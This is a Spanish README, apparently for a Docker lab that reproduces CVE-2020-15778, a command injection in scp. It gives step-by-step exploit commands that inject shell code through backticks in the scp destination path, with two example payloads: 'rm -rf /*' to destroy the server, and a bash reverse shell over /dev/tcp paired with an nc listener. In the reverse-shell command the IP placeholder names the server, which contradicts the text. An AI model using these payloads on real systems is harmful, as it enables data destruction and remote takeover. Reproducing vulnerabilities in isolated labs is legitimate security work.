CVE-2020-15778

Introducción

Este repositorio reproduce CVE-2020-15778.

Pasos

1. Construye las imágenes docker para el servidor scp y el cliente

cd client
docker build -t client-cve .

cd server
docker build -t server-cve .

2. Levanta el servidor scp en un contenedor.

docker run -d -P --name scp-server server-cve

Obtén la dirección IP interna del servidor scp con:

docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-server

3. Ejecuta el cliente en un contenedor.

docker run --name scp-client -i -t client-cve

4. Inyecta tu propio comando de shell en el servidor scp llamando al comando scp desde el cliente.

En la terminal del cliente, ejecuta:

scp nil.txt root@<IP interna del servidor scp>:'`tu comando`/tmp'

La contraseña es "PASSWORD".

Ejemplos

Aquí hay algunos ejemplos para este exploit.

1. Borra todo en el servidor para bloquearlo.

scp nil.txt root@<IP interna del servidor scp>:'`rm -rf /*`/tmp'

2. Refleja el bash del servidor scp hacia el cliente (imitando ssh).

Escucha en un puerto de la máquina cliente.

nc -lvvp 8080

Usa scp para forzar al servidor a mapear la bash interactiva hacia la máquina cliente.

scp nil.txt root@<IP interna del servidor scp>:'`bash -i >& /dev/tcp/<IP interna del servidor scp>/8080 0>& 1`/tmp'

La dirección IP del cliente se puede obtener con:

docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-client